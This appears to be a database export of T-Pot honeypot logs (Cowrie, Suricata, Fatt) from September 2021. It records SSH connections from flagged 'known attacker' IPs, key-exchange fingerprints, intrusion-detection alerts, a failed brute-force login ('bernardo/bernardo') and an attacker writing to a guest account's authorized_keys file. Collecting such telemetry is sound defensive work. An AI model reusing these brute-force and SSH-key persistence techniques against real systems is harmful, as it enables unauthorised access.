"diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9832363caa9f", "@version": "1", "timestamp": "2021-09-20T11:48:28.098251Z", "@timestamp": "2021-09-20T11:48:28.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31968	190.201.223.33	109.199.241.180	Suricata	2021-09-20 14:48:29.678662+03	2021-09-20 15:00:02.85872+03	{"_id": "aAYJA3wBvYTbRNuEQEcJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "190.201.223.33", "dest_ip": "192.168.20.116", "flow_id": 167336037146372, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 60512, "dest_port": 22, "timestamp": "2021-09-20T11:48:29.678662Z", "@timestamp": "2021-09-20T11:48:29.678Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31969	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:48:30.31724+03	2021-09-20 15:00:02.859719+03	{"_id": "cAYJA3wBvYTbRNuEQkdk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:39620 (192.168.176.2:22) [session: 04d8bedba0cf]", "session": "04d8bedba0cf", "@version": "1", "protocol": "ssh", "src_port": 39620, "dest_port": 22, "timestamp": "2021-09-20T11:48:30.317240Z", "@timestamp": "2021-09-20T11:48:30.317Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31970	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:48:30.403896+03	2021-09-20 15:00:02.860718+03	{"_id": "bwYJA3wBvYTbRNuEQkdk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "04d8bedba0cf", "@version": "1", "timestamp": "2021-09-20T11:48:30.403896Z", "@timestamp": "2021-09-20T11:48:30.403Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31971	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:48:30.403347+03	2021-09-20 15:00:02.861717+03	{"_id": "dAYJA3wBvYTbRNuEQ0fz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:48:30.232195+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2103597488573187, "payload": "AAADzAYUoD0T9jjQ7NtoEzgrGFZ1QQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39620, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:48:30.403347Z", "@timestamp": "2021-09-20T11:48:30.403Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......=..8...h.8+.VuA...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31972	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:48:30.321228+03	2021-09-20 15:00:02.863751+03	{"_id": "dgYJA3wBvYTbRNuEREf2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39620, "timestamp": "2021-09-20T11:48:30.321228", "@timestamp": "2021-09-20T11:48:30.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31973	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:48:31.102772+03	2021-09-20 15:00:02.864748+03	{"_id": "dwYJA3wBvYTbRNuERkdP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "9832363caa9f", "@version": "1", "duration": 3.3867952823638916, "timestamp": "2021-09-20T11:48:31.102772Z", "@timestamp": "2021-09-20T11:48:31.102Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31974	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:48:31.164041+03	2021-09-20 15:00:02.865748+03	{"_id": "eAYJA3wBvYTbRNuERkdP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "87.112.251.105", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "788fab6685a6", "@version": "1", "destfile": "/home/guest/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:48:31.164041Z", "@timestamp": "2021-09-20T11:48:31.164Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
31975	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:48:31.166885+03	2021-09-20 15:00:02.866747+03	{"_id": "eQYJA3wBvYTbRNuERkdP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "87.112.251.105", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 7 seconds", "session": "788fab6685a6", "@version": "1", "duration": 7.073046445846558, "duplicate": true, "timestamp": "2021-09-20T11:48:31.166885Z", "@timestamp": "2021-09-20T11:48:31.166Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31976	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 14:48:31.240505+03	2021-09-20 15:00:02.868748+03	{"_id": "egYJA3wBvYTbRNuERkdP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.session.closed", "message": "Connection lost after 180 seconds", "session": "7cc91d7357dc", "@version": "1", "duration": 180.26970791816711, "timestamp": "2021-09-20T11:48:31.240505Z", "@timestamp": "2021-09-20T11:48:31.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
31977	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:48:31.932343+03	2021-09-20 15:00:02.869747+03	{"_id": "fAYJA3wBvYTbRNuESkc2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "04d8bedba0cf", "@version": "1", "duration": 1.612443447113037, "timestamp": "2021-09-20T11:48:31.932343Z", "@timestamp": "2021-09-20T11:48:31.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31978	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:48:32.476377+03	2021-09-20 15:00:02.870748+03	{"_id": "fgYJA3wBvYTbRNuESkc3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.session.params", "message": [], "session": "788fab6685a6", "@version": "1", "timestamp": "2021-09-20T11:48:32.476377Z", "@timestamp": "2021-09-20T11:48:32.476Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31979	190.201.223.33	109.199.241.180	Suricata	2021-09-20 14:48:29.678504+03	2021-09-20 15:00:02.871747+03	{"_id": "ZgYJA3wBvYTbRNuEQEcJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:48:29.089860+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "190.201.223.33", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 167336037146372, "payload": "U1NILTIuMC1saWJzc2hfMC45LjYNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 60512, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:48:29.678504Z", "@timestamp": "2021-09-20T11:48:29.678Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh_0.9.6\\r\\n"}}	1	\N	\N	alert	known attacker	\N
31980	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:48:30.32028+03	2021-09-20 15:00:02.873749+03	{"_id": "bgYJA3wBvYTbRNuEQkdk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "04d8bedba0cf", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:48:30.320280Z", "@timestamp": "2021-09-20T11:48:30.320Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31992	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:48:29.718953+03	2021-09-20 15:00:02.888717+03	{"_id": "ZQYJA3wBvYTbRNuEPkd7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.login.failed", "message": "login attempt [bernardo/bernardo] failed", "session": "9832363caa9f", "@version": "1", "password": "bernardo", "username": "bernardo", "timestamp": "2021-09-20T11:48:29.718953Z", "@timestamp": "2021-09-20T11:48:29.718Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31981	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:48:30.3839+03	2021-09-20 15:00:02.874747+03	{"_id": "cQYJA3wBvYTbRNuEQkdl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "2c05cf2e48a2", "@version": "1", "timestamp": "2021-09-20T11:48:30.383900Z", "@timestamp": "2021-09-20T11:48:30.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
